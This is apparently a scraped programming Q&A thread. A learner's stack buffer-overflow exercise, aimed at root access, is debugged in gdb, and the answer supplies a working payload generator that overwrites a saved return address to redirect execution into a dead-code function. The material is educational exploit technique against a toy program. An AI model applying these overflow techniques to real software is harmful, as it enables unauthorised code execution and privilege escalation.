I am trying to use a buffer overflow to gain access to the root user (purely for educational purposes)
I have written the following code to write the needed input to a bad file
int main(int argc, char **argv) {
char buffer[512];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, 512);
/*First 20 characters for buffer*/
strcpy(buffer, "a b c d e f g h i j ");
/*Over write the next 8 characters*/
strcat(buffer, "a b c d ");
/*Overwrite return address*/
strcat(buffer, argv[1]);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 512, 1, badfile);
fclose(badfile);
}
And this is the code that should be executed by the program with root access
int bof(char *str){
char buffer[20];
/* The following allows buffer overflow */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv) {
char str[BSIZE];
FILE *badfile;
char *badfname = "badfile";
badfile = fopen(badfname, "r");
fread(str, sizeof(char), BSIZE, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
I want the input read from badfile to change the return address of bof so that it will instead return to code that I have also written into the bad file input. However I am just getting seg faults with my current code. I know that this means I am writing my new return address to the wrong part of memory but I am unsure how to find the correct place to write too. I am running on a 32 bit Virtual Machine and have included the gdb disassemble of the second piece of code
Dump of assembler code for function main:
0x080484d6 <main+0>: lea 0x4(%esp),%ecx
0x080484da <main+4>: and $0xfffffff0,%esp
0x080484dd <main+7>: pushl -0x4(%ecx)
0x080484e0 <main+10>: push %ebp
0x080484e1 <main+11>: mov %esp,%ebp
0x080484e3 <main+13>: push %ecx
0x080484e4 <main+14>: sub $0x224,%esp
0x080484ea <main+20>: movl $0x8048623,-0x8(%ebp)
0x080484f1 <main+27>: movl $0x804862b,0x4(%esp)
0x080484f9 <main+35>: mov -0x8(%ebp),%eax
0x080484fc <main+38>: mov %eax,(%esp)
0x080484ff <main+41>: call 0x80483a0 <fopen@plt>
0x08048504 <main+46>: mov %eax,-0xc(%ebp)
0x08048507 <main+49>: mov -0xc(%ebp),%eax
0x0804850a <main+52>: mov %eax,0xc(%esp)
0x0804850e <main+56>: movl $0x200,0x8(%esp)
0x08048516 <main+64>: movl $0x1,0x4(%esp)
0x0804851e <main+72>: lea -0x20c(%ebp),%eax
0x08048524 <main+78>: mov %eax,(%esp)
0x08048527 <main+81>: call 0x80483e0 <fread@plt>
0x0804852c <main+86>: lea -0x20c(%ebp),%eax
0x08048532 <main+92>: mov %eax,(%esp)
---Type <return> to continue, or q <return> to quit---
0x08048535 <main+95>: call 0x80484a4 <bof>
0x0804853a <main+100>: movl $0x804862d,(%esp)
0x08048541 <main+107>: call 0x80483d0 <puts@plt>
0x08048546 <main+112>: mov $0x1,%eax
0x0804854b <main+117>: add $0x224,%esp
0x08048551 <main+123>: pop %ecx
0x08048552 <main+124>: pop %ebp
0x08048553 <main+125>: lea -0x4(%ecx),%esp
0x08048556 <main+128>: ret
End of assembler dump.
(gdb)
(gdb) disassemble bof
Dump of assembler code for function bof:
0x080484a4 <bof+0>: push %ebp
0x080484a5 <bof+1>: mov %esp,%ebp
0x080484a7 <bof+3>: sub $0x28,%esp
0x080484aa <bof+6>: mov 0x8(%ebp),%eax
0x080484ad <bof+9>: mov %eax,0x4(%esp)
0x080484b1 <bof+13>: lea -0x14(%ebp),%eax
0x080484b4 <bof+16>: mov %eax,(%esp)
0x080484b7 <bof+19>: call 0x80483b0 <strcpy@plt>
0x080484bc <bof+24>: lea -0x14(%ebp),%eax
0x080484bf <bof+27>: mov %eax,0x4(%esp)
0x080484c3 <bof+31>: movl $0x8048620,(%esp)
0x080484ca <bof+38>: call 0x80483c0 <printf@plt>
0x080484cf <bof+43>: mov $0x1,%eax
0x080484d4 <bof+48>: leave
0x080484d5 <bof+49>: ret
End of assembler dump.
disclaimer:
I am using Window 7 with gcc-4.8.3 (from http://mingw-w64.org/doku.php ), along with gdb version 7.8 (also from http://mingw-w64.org/doku.php ). Additionally, Windows 7 doesn't appear to have ASLR as when I run this small test program:
#include <stdio.h> unsigned long find_start(void) { __asm__("movl %esp, %eax"); } int main() { printf("0x%X\\n", find_start(); return (0); }
I get the same memory locations, as shown below:
Q:\\>find_addr1 0x28fea8 Q:\\>find_addr1 0x28fea8 Q:\\>find_addr1 0x28fea8
This program is taken from "The Shellcoder's Handbook:Discovering and Exploiting Security Holes" by Chris Anley et. al. , which comments: "..if you notice that the address the program prints out is different each time, it probably means you're running a distribution with the grsecurity patch, or something similar." If you do have different addresses, it will make reproducing the following more difficult. For example, running on my Ubuntu-14.04 LTS system, I get the following:
ubuntu:~/projects$ ./find_addr 0x4F5AF640 ubuntu:~/projects$ ./find_addr 0xCE71D3B0 ubuntu:~/projects$ ./find_addr 0xD4A21710
OK, now that the preliminaries are out of the way, on to your example. So using your code to generate 'badfile`, I created this file:
Q:\SE_test>genFile 0x43434343
Q:\SE_test>more badfile
a b c d e f g h i j a b c d 0x43434343ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ
Q:\SE_test>
Now, let's run you vulnerable program under GDB, and stop right before the call to bof
. The disassembly at this point looks like this:
0x004015db <+92>: call 0x4027b8 <fread>
=> 0x004015e0 <+97>: lea 0x18(%esp),%eax
0x004015e4 <+101>: mov %eax,(%esp)
0x004015e7 <+104>: call 0x401560 <bof>
0x004015ec <+109>: movl $0x40402e,(%esp)
At this point we can look at some values of interest. First, note the address of the instruction after the call to bof
( 0x004015ec ), we will need that later. Secondly, we can examine some significant variables and registers:
(gdb) print str
$1 = "a b c d e f g h i j a b c d 0x43434343\000", '\220' <repeats 473 times>
(gdb) print $ebp
$2 = (void *) 0x28fec8
(gdb) print $esp
$3 = (void *) 0x28fca0
So, we now know in memory where the activation frame for main
is found, as well as verifying that you have read the string in correctly. Looking at the value of string, I do see two things that may cause problems later;
Notice the null terminator (\\000) embedded in the string? This will cause the string copy in bof
to stop. We still should get a buffer overflow. Just something to be aware of in shell-code we can't have 0x00 bytes and expect to use string-processing functions.
Notice that address that I entered (0x43434343) shows up as text and not an address. This is, from what I can tell, a consequence of using Windows; however we can still see where we are writing to memory and check if things are going in the correct place.
Now we can step into bof
and see what we have:
(gdb) s
bof (str=0x28fcb8 "a b c d e f g h i j a b c d 0x43434343") at overflow1.c:13
13 strcpy(buffer, str);
(gdb) print $esp
$5 = (void *) 0x28fc60
(gdb) print $ebp
$6 = (void *) 0x28fc98
(gdb) x/80xb 0x28fc60
0x28fc60: 0x00 0x02 0x00 0x00 0x50 0xfc 0x28 0x00
0x28fc68: 0x60 0x29 0x76 0x76 0xc4 0xff 0x28 0x00
0x28fc70: 0xd5 0x8c 0x6e 0x76 0xc7 0x1f 0xa9 0x74
0x28fc78: 0xfe 0xff 0xff 0xff 0x6f 0xf4 0x6d 0x76
0x28fc80: 0xe0 0xf3 0x6d 0x76 0xb8 0xfc 0x28 0x00
0x28fc88: 0xff 0xff 0xff 0xff 0x01 0x00 0x00 0x00
0x28fc90: 0x00 0x02 0x00 0x00 0x60 0x29 0x76 0x76
0x28fc98: 0xc8 0xfe 0x28 0x00 0xec 0x15 0x40 0x00
0x28fca0: 0xb8 0xfc 0x28 0x00 0x01 0x00 0x00 0x00
0x28fca8: 0x00 0x02 0x00 0x00 0x60 0x29 0x76 0x76
At this point, we are starting to get a feeling for how memory is laid out, and we can look at the contents of the memory as well. What is particularly interesting are the values located at memory locations 0x28fc9c and 0x28fca0 which I have entered into the diagram below:
address contents
+------------+
0x28fec8 | | <-- base pointer for main's stack frame
+------------+
| |
~ ~
~ ~
| |
+------------+
0x28fca0 | 0x0028fcb8 | <-- stack pointer for main's stack frame
+------------+
0x28fc9c | 0x004015ec | <--- stored eip
+------------+
0x28fc98 | 0x0028fec8 | <-- base pointer for bof's stack frame
+------------+
| |
~ ~
~ ~
| |
+------------+
0x28fc60 | | <-- stack pointer for bof's stack frame
+------------+
Looking at the disassembly of main we can see that the next instruction after the call to bof
is located at 0x004015ec , which we can see has been pushed on the stack at memory location 0x0028fc9c .
Now that this analysis is done, we can execute the string copy and then look at memory again and see what we've done (remembering that 'a' has an ASCII value of 0x61 and that space has an ASCII value of 0x20). As a point of reference we can see that the buffer in bof
is located at a memory address of 0x000x28fc7c
(gdb) x/80xb 0x28fc60
0x28fc60: 0x7c 0xfc 0x28 0x00 0xb8 0xfc 0x28 0x00
0x28fc68: 0x60 0x29 0x76 0x76 0xc4 0xff 0x28 0x00
0x28fc70: 0xd5 0x8c 0x6e 0x76 0xc7 0x1f 0xa9 0x74
0x28fc78: 0xfe 0xff 0xff 0xff 0x61 0x20 0x62 0x20
0x28fc80: 0x63 0x20 0x64 0x20 0x65 0x20 0x66 0x20
0x28fc88: 0x67 0x20 0x68 0x20 0x69 0x20 0x6a 0x20
0x28fc90: 0x61 0x20 0x62 0x20 0x63 0x20 0x64 0x20
0x28fc98: 0x30 0x78 0x34 0x33 0x34 0x33 0x34 0x33
0x28fca0: 0x34 0x33 0x00 0x00 0x01 0x00 0x00 0x00
0x28fca8: 0x00 0x02 0x00 0x00 0x60 0x29 0x76 0x76
We are particularly interested in the region around where the stored eip is located at:
0x28fca8: 0x00 0x02 0x00 0x00
0x28fca4: 0x01 0x00 0x00 0x00
0x28fca0: 0x34 0x33 0x00 0x00
0x28fc9c: 0x34 0x33 0x34 0x33
0x28fc98: 0x30 0x78 0x34 0x33
From this it looks like the first part of what I entered as a command line argument (0x43) is overwriting ebp for bof
. From this I would suspect that you need to add four more bytes into your string prior to writing out the new address. Also, you probably need to check to make sure the your command line argument is being treated correctly.
As a test of this, I modified your two programs a bit to this:
First, the program to generate the bad file was modified to this:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[512];
FILE *badfile;
int ndx;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, 512);
/*First n-characters for buffer*/
for(ndx = 0; ndx < atoi(argv[1]); ndx++)
buffer[ndx] = 'A';
/*Overwrite return address*/
buffer[ndx++] = 0x7f;
buffer[ndx++] = 0x15;
buffer[ndx++] = 0x40;
buffer[ndx++] = 0x00;
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 512, 1, badfile);
fclose(badfile);
return 0;
}
Your command line argument now allows you to enter the number of bytes to write out to the file prior to writing your new return address. I also modified your vulnerable program to look like this:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BSIZE 512
int bof(char *str)
{
char buffer[20];
/* The following allows buffer overflow */
strcpy(buffer, str);
return 1;
}
void output()
{
printf("We should never see this\n");
exit(1);
}
int main(int argc, char **argv)
{
char str[BSIZE];
FILE *badfile;
char *badfname = "badfile";
badfile = fopen(badfname, "r");
fread(str, sizeof(char), BSIZE, badfile);
bof(str);
printf("Returned Properly\n");
return 0;
}
Notice that output
is effectively dead-code, however doing a quick disassembly, I can find that output
starts at 0x0040157f . This is the value that I entered into the buffer in the genFile code above. Now for a couple of test cases:
Q:\SE_test>gcc -ansi -pedantic -Wall genFile.c -o genFile
Q:\SE_test>gcc -ansi -pedantic -Wall overflow1.c -o overflow1
Q:\SE_test>genFile 28
Q:\SE_test>overflow1
Returned Properly (see note below)
Q:\SE_test>genFile 32
Q:\SE_test>overflow1
We should never see this
Q:\SE_test>
Note: In the first run, even though the program displayed "Returned Properly", the program did crash and windows displayed the "This program has stopped working dialog".
Hope this helps, if you have any other questions, please ask. T.
The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.